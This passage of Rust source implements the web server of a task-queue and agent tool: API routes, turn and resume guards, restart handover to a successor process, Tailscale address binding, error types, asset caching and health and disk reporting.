.route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
.route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
.route("/api/runs/{id}/fold", post(run_fold))
.route("/api/runs/{id}/fold-merged", post(run_fold_merged))
.route("/api/runs/{id}/resume", post(run_resume))
.route("/api/queue", get(queue_list))
.route("/api/queue/page", get(queue_page))
.route("/api/search", get(search_get))
.route("/api/queue/{id}", get(task_detail).delete(queue_delete))
.route("/api/queue/{id}/core", get(task_core))
.route("/api/stats", get(stats_get))
.route("/api/stats/queue", get(stats_queue))
.route("/api/repos", get(repos_list))
.route("/api/settings", get(settings_get))
.route("/api/settings/roles", put(settings_put_roles))
.route("/api/queue/{id}/hold", post(queue_hold))
.route("/api/queue/{id}/release", post(queue_release))
.route("/api/queue/{id}/priority", post(queue_priority))
.route("/api/queue/{id}/urgent", post(queue_urgent))
.route("/api/queue/{id}/implementers", post(queue_implementers))
.route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
.route("/api/queue/{id}/edit", post(queue_edit))
.route("/api/queue/{id}/done", post(queue_done))
.route("/api/questions", get(questions_list))
.route("/api/questions/core", get(questions_core))
.route("/api/questions/origins", get(question_origins))
.route("/api/questions/{id}/answer", post(question_answer))
.route("/api/questions/{id}/say", post(question_say))
.route("/api/questions/{id}/consult", post(question_consult))
.route("/api/questions/{id}/panel", get(question_panel))
.route("/api/questions/{id}/panel/index.html", get(question_panel))
.route("/api/questions/{id}/panel/{name}", get(question_asset))
.route("/api/questions/{id}/asset/{name}", get(question_asset))
.route("/api/notifications", get(notifications_list))
.route("/api/notifications/read-all", post(notifications_read_all))
.route("/api/notifications/{id}/read", post(notification_read))
.route(
"/api/notifications/{id}/dismiss",
post(notification_dismiss),
)
.route("/api/talks", get(talks_list).post(talk_post))
.route("/api/talks/page", get(talks_page))
.route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
.route("/api/talks/{id}/core", get(talk_core))
.route("/api/talks/{id}/sections", get(talk_sections))
.route("/api/talks/{id}/say", post(talk_say))
.route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
.route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
.route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
.route("/api/talks/{id}/agent", post(talk_agent))
.route("/api/talks/{id}/persona", post(talk_persona))
.route("/api/talks/{id}/implementers", post(talk_implementers))
.route("/api/talks/{id}/close", post(talk_close))
.route("/api/talks/{id}/reopen", post(talk_reopen))
.route(
"/api/talks/{id}/attachments",
post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
)
.route(
"/api/talks/{id}/attachments/{att}",
get(talk_attachment_get),
)
.route("/api/talks/{id}/avatar", get(talk_avatar))
.route("/avatars/operator.svg", get(operator_avatar))
.route(
"/api/avatar-settings",
get(avatar_settings_get)
.put(avatar_settings_put)
.delete(avatar_settings_delete),
)
.route("/avatars/persona", get(settings_persona_avatar))
.route("/avatars/magi", get(magi_avatar))
.route(
"/api/magi-icon",
get(magi_icon_get)
.put(magi_icon_put)
.delete(magi_icon_delete),
)
.route("/api/events", get(events))
.with_state(self)
}
}
#[derive(Debug)]
struct TalkTurnGuard {
talk: String,
turns: Arc<Mutex<TalkTurns>>,
released: bool,
lease: Option<crate::talk::TurnLease>,
}
#[derive(Debug, Default)]
struct TalkTurns {
live: HashSet<String>,
queued: HashMap<String, u64>,
}
enum TalkTurnStart {
Claimed(TalkTurnGuard),
Busy,
Foreign,
Pending,
}
impl TalkTurnGuard {
#[cfg(test)]
fn owns(&self) -> bool {
self.lease
.as_ref()
.is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
}
#[cfg(test)]
async fn respond(
&self,
talk: &mut Talk,
talks: &Talks,
cfg: &Config,
text: &str,
) -> anyhow::Result<()> {
let lease = self
.lease
.as_ref()
.context("the turn guard no longer holds its lease")?;
talk::respond(lease, talk, talks, cfg, text).await
}
fn release(mut self, live: &mut TalkTurns) {
self.lease = None;
live.live.remove(&self.talk);
live.queued.remove(&self.talk);
self.released = true;
}
}
impl Drop for TalkTurnGuard {
fn drop(&mut self) {
if self.released {
return;
}
drop(self.lease.take());
if let Ok(mut live) = self.turns.lock() {
live.live.remove(&self.talk);
live.queued.remove(&self.talk);
}
}
}
struct ResumeGuard {
run: String,
resuming: Arc<Mutex<HashSet<String>>>,
}
impl Drop for ResumeGuard {
fn drop(&mut self) {
if let Ok(mut live) = self.resuming.lock() {
live.remove(&self.run);
}
}
}
async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
const WINDOW: Duration = Duration::from_secs(10);
const GAP: Duration = Duration::from_millis(250);
let deadline = std::time::Instant::now() + WINDOW;
let mut said = false;
loop {
match tokio::net::TcpListener::bind(socket).await {
Ok(listener) => return Ok(listener),
Err(e)
if e.kind() == std::io::ErrorKind::AddrInUse
&& std::time::Instant::now() < deadline =>
{
if !said {
said = true;
tracing::info!(
"{socket} is still held - waiting up to {}s for it, \
which is what a restart looks like from here",
WINDOW.as_secs()
);
}
tokio::time::sleep(GAP).await;
}
Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
}
}
}
static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
value.is_some_and(|v| v == "1")
}
fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
let args: Vec<String> = std::env::args().skip(1).collect();
updater::log_step(
home,
&format!("restarting: {} {}", exe.display(), args.join(" ")),
);
let log_path = home.join(WEB_LOG);
let open_log = || {
std::fs::create_dir_all(home)?;
std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&log_path)
};
let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
Ok(pair) => (
std::process::Stdio::from(pair.0),
std::process::Stdio::from(pair.1),
),
Err(e) => {
updater::log_warn(
home,
&format!(
"could not open {}: {e}; the successor logs nowhere",
log_path.display()
),
);
(std::process::Stdio::null(), std::process::Stdio::null())
}
};
let mut cmd = std::process::Command::new(exe);
cmd.env_remove(RESUME_LOOP_ENV);
cmd.env(RESTART_PORT_ENV, port.to_string());
cmd.args(&args)
.stdin(std::process::Stdio::null())
.stdout(out)
.stderr(err);
#[cfg(windows)]
{
use std::os::windows::process::CommandExt as _;
cmd.creation_flags(0x0000_0008 | 0x0000_0200);
}
let child = cmd.spawn().context("start the successor")?;
Ok(child.id())
}
const WEB_LOG: &str = "web.log";
async fn wait_for_handover(signal: &Notify) {
signal.notified().await;
}
pub async fn serve(opts: Opts) -> Result<()> {
crate::worker::remember_current_executable()?;
let executable = std::env::current_exe().context("find the installed web executable")?;
let (addr, warning) = resolve_bind(&opts.bind);
if let Some(warning) = warning {
tracing::warn!("{warning}");
}
report::set_color(false);
let repo = normalize_default_repo(opts.repo).await;
let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
let home = ui.home.clone();
let admissions = Arc::clone(&ui.admissions);
updater::reconcile_after_restart(&home);
updater::log_step(
&home,
&format!(
"web process started (version {}); handover log {}, successor output {}",
env!("CARGO_PKG_VERSION"),
updater::log_path(&home).display(),
home.join(WEB_LOG).display()
),
);
updater::spawn_watchdog(home.clone());
let port = if opts.port == 0 {
std::env::var(RESTART_PORT_ENV)
.ok()
.and_then(|value| value.parse::<u16>().ok())
.filter(|port| *port != 0)
.unwrap_or(0)
} else {
opts.port
};
let socket = SocketAddr::new(addr, port);
let listener = bind_waiting(socket).await?;
let bound = listener.local_addr().context("read bound web address")?;
let port = bound.port();
let url = format!("http://{bound}");
tracing::info!(
"magi web UI on {url} - there is no authentication, so anyone who can \
reach this address can file and hold tasks: the tailnet is the \
security boundary"
);
if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
ui.start_detached_loop()
.await
.map_err(|e| anyhow::anyhow!(e.message))?;
}
if opts.open {
println!("{url}");
}
let recheck_ui = ui.clone();
let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
let recheck = tokio::spawn(run_update_recheck(recheck_ui));
let interrupted = async {
if tokio::signal::ctrl_c().await.is_err() {
std::future::pending::<()>().await;
}
};
let handover = wait_for_handover(&HANDOVER);
let outcome = tokio::select! {
joined = &mut served => match joined {
Ok(outcome) => outcome.context("serve the web UI"),
Err(e) => Err(e).context("the task serving the web UI ended"),
},
() = interrupted => {
recheck.abort();
tracing::info!("shutting down the web UI; detached workers continue");
close_admissions(&admissions).await;
served.abort();
let _ = served.await;
Ok(())
}
() = handover => {
recheck.abort();
let successor_home = home.clone();
hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
}
};
recheck.abort();
let _ = recheck.await;
updater::log_step(
&home,
&match &outcome {
Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
Err(e) => format!("serve: returning an error: {e:#}"),
},
);
outcome
}
async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
if repo != FsPath::new(".") {
return repo;
}
let Ok(canonical) = repo.canonicalize() else {
return repo;
};
if git::toplevel(&canonical).await.is_ok() {
return repo;
}
let Some(home) = dirs::home_dir() else {
return repo;
};
match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
Some(found) => {
tracing::info!(
"the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
canonical.display(),
found.path.display(),
found.reason,
);
found.path
}
None => repo,
}
}
async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
*admissions.write().await = true;
}
async fn hand_over(
home: &FsPath,
admissions: &tokio::sync::RwLock<bool>,
served: tokio::task::JoinHandle<std::io::Result<()>>,
successor: impl FnOnce() -> Result<u32>,
) -> Result<()> {
close_admissions(admissions).await;
if let Some(mut progress) = updater::read_progress(home) {
progress.advance(updater::Stage::Restarting);
progress.detail =
Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
updater::write_progress_logged(home, &progress);
}
updater::log_step(
home,
"restarting scheduler without parking execution workers",
);
let scheduler = daemon::restart_detached(home).await;
if let Err(error) = &scheduler {
let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
updater::log_warn(
home,
&format!("scheduler restart failed; restoring the web UI: {error:#}"),
);
}
updater::log_step(home, "releasing the web listener");
served.abort();
let _ = served.await;
updater::log_step(home, "web listener released; starting the successor");
match successor() {
Ok(pid) => {
updater::log_step(home, &format!("successor started, pid {pid}"));
scheduler
}
Err(e) => {
let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
Err(e)
}
}
}
pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
match bind {
Bind::Addr(addr) => (*addr, None),
Bind::Auto => match tailscale_ip() {
Ok(ip) => (IpAddr::V4(ip), None),
Err(why) => (
IpAddr::V4(Ipv4Addr::LOCALHOST),
Some(format!(
"--bind auto fell back to 127.0.0.1: {why}. The UI is \
local-only and a phone cannot reach it; start Tailscale \
or pass --bind <addr>"
)),
),
},
}
}
fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
let out = std::process::Command::new("tailscale")
.args(["ip", "-4"])
.quiet()
.output()
.map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
if !out.status.success() {
let why = String::from_utf8_lossy(&out.stderr);
let why = why.trim();
return Err(format!(
"`tailscale ip -4` failed ({}){}",
out.status,
if why.is_empty() {
String::new()
} else {
format!(": {why}")
}
));
}
String::from_utf8_lossy(&out.stdout)
.lines()
.filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
.find(is_tailnet)
.ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
}
fn is_tailnet(ip: &Ipv4Addr) -> bool {
let o = ip.octets();
o[0] == 100 && (64..=127).contains(&o[1])
}
type ApiResult<T> = std::result::Result<T, ApiError>;
#[derive(Debug)]
struct ApiError {
status: StatusCode,
message: String,
text_reason: Option<crate::question_delivery::UnavailableReason>,
}
impl ApiError {
fn bad_request(message: impl Into<String>) -> Self {
Self {
text_reason: None,
status: StatusCode::BAD_REQUEST,
message: message.into(),
}
}
fn not_found(message: impl Into<String>) -> Self {
Self {
text_reason: None,
status: StatusCode::NOT_FOUND,
message: message.into(),
}
}
fn with_status(mut self, status: StatusCode) -> Self {
self.status = status;
self
}
fn bad_request_from(e: anyhow::Error) -> Self {
Self::bad_request(format!("{e:#}"))
}
fn conflict(message: impl Into<String>) -> Self {
Self {
text_reason: None,
status: StatusCode::CONFLICT,
message: message.into(),
}
}
fn internal(message: impl Into<String>) -> Self {
Self {
text_reason: None,
status: StatusCode::INTERNAL_SERVER_ERROR,
message: message.into(),
}
}
}
impl From<anyhow::Error> for ApiError {
fn from(e: anyhow::Error) -> Self {
Self::internal(format!("{e:#}"))
}
}
impl IntoResponse for ApiError {
fn into_response(self) -> Response {
let mut body = serde_json::json!({ "error": self.message });
if let Some(reason) = self.text_reason {
body["code"] = serde_json::json!("question_text_unavailable");
body["reason"] = serde_json::json!(reason);
}
(self.status, Json(body)).into_response()
}
}
async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
where
T: Send + 'static,
{
#[cfg(test)]
let job = request_cost::carry(job);
match tokio::task::spawn_blocking(job).await {
Ok(result) => result,
Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
}
}
async fn bulk_blocking<T>(
slots: Arc<tokio::sync::Semaphore>,
job: impl FnOnce() -> ApiResult<T> + Send + 'static,
) -> ApiResult<T>
where
T: Send + 'static,
{
let permit = slots
.acquire_owned()
.await
.map_err(|_| ApiError::internal("Bulk reader stopped"))?;
let (send, receive) = tokio::sync::oneshot::channel();
#[cfg(test)]
let job = request_cost::carry(job);
let runtime = tokio::runtime::Handle::current();
std::thread::Builder::new()
.name("web-bulk".into())
.spawn(move || {
let _permit = permit;
let _runtime = runtime.enter();
let _ = send.send(job());
})
.map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
receive
.await
.map_err(|_| ApiError::internal("Bulk reader failed"))?
}
const ASSET_CACHE: &str = "no-cache, must-revalidate";
fn asset_etag() -> &'static str {
static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
format!(
"\"{}-{}\"",
env!("CARGO_PKG_VERSION"),
INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
)
});
&TAG
}
fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
[
(header::CONTENT_TYPE, mime),
(header::CACHE_CONTROL, ASSET_CACHE),
(header::ETAG, asset_etag()),
]
}
fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
let tag = asset_etag();
let known = headers
.get(header::IF_NONE_MATCH)
.and_then(|v| v.to_str().ok())
.is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
if known {
return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
}
(asset_headers(mime), body).into_response()
}
async fn index(headers: header::HeaderMap) -> Response {
asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
}
async fn app_css(headers: header::HeaderMap) -> Response {
asset(&headers, "text/css; charset=utf-8", APP_CSS)
}
async fn app_js(headers: header::HeaderMap) -> Response {
asset(&headers, "text/javascript; charset=utf-8", APP_JS)
}
#[derive(Debug, Serialize)]
struct HealthView {
version: &'static str,
home: String,
queue_rev: u64,
runs_rev: u64,
questions_rev: u64,
talks_rev: u64,
notifications_rev: u64,
notifications_unread: usize,
loop_rev: u64,
runs_unreadable: usize,
disk: Option<serde_json::Value>,
questions_open: usize,
questions_needs_owner: usize,
daemon: DaemonView,
#[serde(rename = "loop")]
looping: LoopView,
update: UpdateView,
upgrade: Option<UpgradeProgressView>,
jobs: Vec<WorkerView>,
upgrade_request_error: Option<UpgradeRequestFailure>,
}
#[derive(Debug, Serialize)]
struct WorkerView {
id: String,
kind: String,
key: String,
pid: Option<u32>,
status: crate::worker::Status,
generation: String,
version: Option<String>,
queue_owned: bool,
}
impl From<crate::worker::Job> for WorkerView {
fn from(job: crate::worker::Job) -> Self {
let queue_owned = job.kind == "task"
&& job
.payload
.get("standalone")
.and_then(serde_json::Value::as_bool)
!= Some(true);
Self {
id: job.id,
kind: job.kind,
key: job.key,
pid: job.pid,
status: job.status,
generation: job.generation,
version: job.version,
queue_owned,
}
}
}
#[derive(Debug, Clone, Serialize)]
struct UpdateView {
available: bool,
to: Option<String>,
}
#[derive(Debug, Serialize)]
struct UpgradeProgressView {
trigger: updater::UpgradeTrigger,
stage: updater::Stage,
from: String,
to: Option<String>,
waiting_on: Option<String>,
started_at: Timestamp,
updated_at: Timestamp,
detail: Option<String>,
stuck_for_secs: Option<i64>,
stuck_kind: Option<updater::StallKind>,
handover_alive: bool,
}
fn should_spawn_recheck(cfg: &Update) -> bool {
cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
}
fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
if progress.is_some_and(|p| !p.stage.terminal()) {
return false;
}
checker.should_check()
}
fn recheck_poll_period(cfg: &Update) -> Duration {
(updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
}
#[derive(Debug, PartialEq, Eq)]
enum AutoUpgradeDecision {
Skip(&'static str),
Wait,
Trigger,
}
fn auto_upgrade_decision(
cfg: &Update,
disabled: bool,
in_motion: bool,
busy: bool,
tag: &str,
failed: Option<&str>,
) -> AutoUpgradeDecision {
if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
AutoUpgradeDecision::Skip("disabled")
} else if in_motion {
AutoUpgradeDecision::Skip("upgrade already in progress")
} else if failed == Some(tag) {
AutoUpgradeDecision::Skip("this release already failed; restart to retry")
} else if busy {
AutoUpgradeDecision::Wait
} else {
AutoUpgradeDecision::Trigger
}
}
async fn run_update_recheck(ui: Arc<Ui>) {
loop {
let cfg = match Config::discover(&ui.repo, None) {
Ok((cfg, _)) => cfg,
Err(e) => {
updater::log_warn(
&ui.home,
&format!("auto-upgrade: config unavailable: {e:#}"),
);
tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
continue;
}
};
if should_spawn_recheck(&cfg.update)
&& let Some(checker) = updater::Checker::new(&cfg.update)
{
let progress = updater::read_progress(&ui.home);
let mut latest = checker.cached_update();
if update_recheck_due(&checker, progress.as_ref()) {
match checker.newer_release().await {
Ok(found) => latest = found,
Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
}
}
if cfg.update.auto_restart
&& let Some(latest) = latest
{
let response =
begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
updater::log_step(
&ui.home,
&format!("auto-upgrade: request status {}", response.status()),
);
}
}
tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
}
}
fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
let default;
let cfg = match cfg {
Some(cfg) => cfg,
None => {
default = Config::default();
&default
}
};
let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
match latest {
Some(latest) => UpdateView {
available: true,
to: Some(latest.tag_name),
},
None => UpdateView {
available: false,
to: None,
},
}
}
fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
let now = Timestamp::now();
let lease = updater::read_lease(&ui.home);
let alive = updater::live_lease(&progress, lease.as_ref(), now);
let run_id = alive
.and_then(|l| l.parked_run.as_deref())
.or(progress.parked_run.as_deref());
let parking = progress.stage == updater::Stage::Parking;
let waited = alive.map_or_else(String::new, |l| {
let secs = updater::waited_secs(l, now);
format!(" (waited {} min so far)", secs / 60)
});
let run_text = run_id
.filter(|_| parking)
.map(|id| match read_run(&ui.runs, id).ok() {
Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
None => format!("run {id} is finishing"),
});
let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
.filter(|t| parking && !t.is_empty())
.map(|t| format!("{t} finishing"));
let waiting_on = match (run_text, talks_text) {
(None, None) => None,
(run, talks) => {
let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
Some(format!(
"{} before the address is handed over{waited}",
parts.join(" and ")
))
}
};
let detail = progress
.detail
.clone()
.or_else(|| updater::read_note(&ui.home, &progress));
let stalled = updater::stall(&progress, lease.as_ref(), now);
let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
UpgradeProgressView {
trigger: progress.trigger,
stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
stuck_kind: stalled.map(|s| s.kind),
handover_alive: alive.is_some(),
stage: progress.stage,
from: progress.from,
to: progress.to,
waiting_on,
started_at: progress.started_at,
updated_at: progress.updated_at,
detail,
}
}
#[derive(Debug, Serialize)]
struct DiskView {
#[serde(skip_serializing_if = "Option::is_none")]
free_bytes: Option<u64>,
runs_bytes: Option<u64>,
worktrees_bytes: Option<u64>,
#[serde(skip_serializing_if = "Option::is_none")]
cache_bytes: Option<u64>,
retention: Option<crate::retention::Report>,
}
const DISK_REFRESH: Duration = Duration::from_secs(60);
#[derive(Debug, Clone, PartialEq, Eq)]
struct DiskScope {
runs: PathBuf,
worktrees: PathBuf,
cache: Option<PathBuf>,
}
impl DiskScope {
fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
Self {
runs: ui.runs.clone(),
worktrees: ui.worktrees_root.clone(),
cache: cfg.and_then(Config::cache_dir),
}
}
}
#[derive(Debug, Clone, Copy, Default)]
struct DiskCapacity {
free_bytes: Option<u64>,
runs_bytes: Option<u64>,
worktrees_bytes: Option<u64>,
cache_bytes: Option<u64>,
}
impl DiskCapacity {
fn measure(scope: &DiskScope) -> Self {
Self {
free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
runs_bytes: disk_capacity_size(&scope.runs),
worktrees_bytes: disk_capacity_size(&scope.worktrees),
cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
}
}
fn retain_successes(&mut self, next: Self) {
self.free_bytes = next.free_bytes.or(self.free_bytes);
self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
}
}
fn disk_capacity_size(path: &FsPath) -> Option<u64> {
let metadata = match std::fs::symlink_metadata(path) {
Ok(metadata) => metadata,
Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
Err(_) => return None,
};
if !metadata.is_dir() {
return Some(if metadata.is_file() {
metadata.len()
} else {
0
});
}
let mut total = 0;
let mut stack = vec![path.to_owned()];
while let Some(dir) = stack.pop() {
for entry in std::fs::read_dir(dir).ok()? {
let entry = entry.ok()?;
let metadata = entry.metadata().ok()?;
if metadata.is_dir() {
stack.push(entry.path());
} else if metadata.is_file() {
total += metadata.len();
}
}
}
Some(total)
}
#[derive(Debug, Default)]
struct DiskObservation {
scope: Option<DiskScope>,
capacity: DiskCapacity,
in_flight: bool,
finished: Option<std::time::Instant>,
}
impl DiskObservation {
fn observe(
state: &Arc<Mutex<Self>>,
scope: DiskScope,
measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
) -> DiskCapacity {
let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
if observation.scope.as_ref() != Some(&scope) {
observation.scope = Some(scope.clone());
observation.capacity = DiskCapacity::default();
observation.finished = None;
}
let capacity = observation.capacity;
if observation.in_flight
|| observation
.finished
.is_some_and(|at| at.elapsed() < DISK_REFRESH)
{
return capacity;
}
observation.in_flight = true;
drop(observation);
let refresh = DiskRefresh {
state: Arc::clone(state),
scope,
};
tokio::task::spawn_blocking(move || {
let next = measure(&refresh.scope);
let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
if observation.scope.as_ref() == Some(&refresh.scope) {
observation.capacity.retain_successes(next);
}
drop(observation);
drop(refresh);
});
capacity
}
}
struct DiskRefresh {
state: Arc<Mutex<DiskObservation>>,
scope: DiskScope,
}
impl Drop for DiskRefresh {
fn drop(&mut self) {
let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
observation.in_flight = false;
if observation.scope.as_ref() == Some(&self.scope) {
observation.finished = Some(std::time::Instant::now());
}
}
}
impl DiskView {
fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
let capacity = DiskObservation::observe(
&ui.monitor.disk,
DiskScope::of(ui, cfg),
DiskCapacity::measure,
);
Self::with_capacity(ui, capacity)
}
fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
Self {
free_bytes: crate::disk::free_bytes(&ui.runs)
.ok()
.or(capacity.free_bytes),
runs_bytes: capacity.runs_bytes,
worktrees_bytes: capacity.worktrees_bytes,
cache_bytes: capacity.cache_bytes,
retention: ui
.runs
.parent()
.and_then(|home| std::fs::read(home.join("retention.json")).ok())
.and_then(|bytes| serde_json::from_slice(&bytes).ok()),
}
}
}
#[derive(Debug, Serialize)]
struct DaemonView {
running: bool,
idle: Option<bool>,
pid: Option<u32>,
current: Vec<daemon::Current>,
completed: Option<u64>,
stale_for_secs: Option<i64>,
}
impl DaemonView {
fn of(status: Option<daemon::Reading>) -> Self {
let Some(status) = status else {
return Self {
running: false,
idle: None,
pid: None,
current: Vec::new(),
completed: None,
stale_for_secs: None,
};
};
let now = Timestamp::now();
let age = status.age_secs(now);
Self {
running: status.running(now),
idle: Some(status.idle),
pid: status.pid,
current: status.current,
completed: Some(status.completed),
stale_for_secs: age,
}
}
}
fn refresh_health_config(ui: &Arc<Ui>) {
let mut cache = ui
.monitor
.disk_cache
.lock()
.unwrap_or_else(PoisonError::into_inner);
if cache.loading
|| cache
.measured
.is_some_and(|at| at.elapsed() < Duration::from_secs(60))
{
return;
}
cache.loading = true;
let weak = Arc::downgrade(ui);
std::thread::spawn(move || {
let Some(ui) = weak.upgrade() else { return };
let cfg = deputy_config(&ui.repo);
let update = cached_update_view(cfg.as_ref());
let mut cache = ui
.monitor
.disk_cache
.lock()
.unwrap_or_else(PoisonError::into_inner);
cache.config = cfg;
cache.update = Some(update);
cache.measured = Some(std::time::Instant::now());
cache.loading = false;
});
}
fn health_counts(
ui: &Ui,
fallback_questions_rev: u64,
) -> ApiResult<(usize, usize, usize, u64, usize)> {
let mut index = ui
.monitor
.health_index
.lock()
.unwrap_or_else(PoisonError::into_inner);
let ids = run_ids(&ui.runs);
let seen: HashSet<_> = ids.iter().cloned().collect();
index.runs.retain(|id, _| seen.contains(id));
let mut unreadable = 0;
for id in ids {
let identity = file_identity(&ui.runs.join(&id).join("run.json"));
let bad = match identity {
Ok(identity) => {
if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
let bad = read_run(&ui.runs, &id).is_err();
index.runs.insert(id.clone(), (identity, bad));
#[cfg(test)]
{
index.run_parses += 1;
}
}
index.runs[&id].1
}
Err(_) => true,
};
unreadable += usize::from(bad);
}
let questions_rev = try_stamps(ui.questions.root(), false, true)
.map(|stamps| stamps_revision(&stamps))
.unwrap_or(fallback_questions_rev);
if index.questions.as_ref().is_none_or(|counts| {
counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
}) {
let questions = ui.questions.list();
index.questions = Some(QuestionCounts {
revision: questions_rev,
measured: std::time::Instant::now(),
open: questions.iter().filter(|q| q.status.open()).count(),
owner: questions
.iter()
.filter(|q| {
q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
})
.count(),
});
}
let notifications_rev =
stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
if index
.notices
.is_none_or(|(rev, _)| rev != notifications_rev)
{
index.notices = Some((notifications_rev, ui.notices.count_unread()));
}
let questions = index.questions.as_ref().unwrap();
Ok((
unreadable,
questions.open,
questions.owner,
notifications_rev,
index.notices.unwrap().1,
))
}
async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
let revisions = ui.monitor.revisions(&ui).await?;
refresh_health_config(&ui);
bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
let reading = daemon::read_status(&ui.home);
let loop_rev = ui.lock_loop().rev;
let (
runs_unreadable,
questions_open,
questions_needs_owner,
notifications_rev,
notifications_unread,
) = health_counts(&ui, revisions.2)?;
let ((cfg, config_observed, sizes, measured), update) = {
let cache = ui
.monitor
.disk_cache
.lock()
.unwrap_or_else(PoisonError::into_inner);
(
(
cache.config.clone(),
cache.measured.is_some(),
cache.disk.clone(),
cache.measured,
),
cache.update.clone().unwrap_or(UpdateView {
available: false,
to: None,
}),
)
};
let prior_capacity = {
let mut observation = ui
.monitor
.disk
.lock()
.unwrap_or_else(PoisonError::into_inner);
if observation.scope.is_none()
&& let Some(sizes) = sizes
{
observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
observation.capacity = DiskCapacity {
runs_bytes: Some(sizes.runs),
worktrees_bytes: Some(sizes.worktrees),
cache_bytes: sizes.cache,
free_bytes: None,
};
observation.finished = measured;
}
observation.scope.as_ref().map(|_| observation.capacity)
};
let disk = if config_observed {
serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
} else {
serde_json::to_value(DiskView::with_capacity(
&ui,
prior_capacity.unwrap_or_default(),
))
.ok()
};
let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
#[cfg(not(test))]
let looping = ui.runtime_loop_view(reading.clone(), &jobs);
#[cfg(test)]
let looping = ui.loop_view(reading.clone());
Ok(Json(HealthView {
jobs: jobs.into_iter().map(WorkerView::from).collect(),
version: env!("CARGO_PKG_VERSION"),
home: ui.home.display().to_string(),
queue_rev: revisions.0,
runs_rev: revisions.1,
questions_rev: revisions.2,
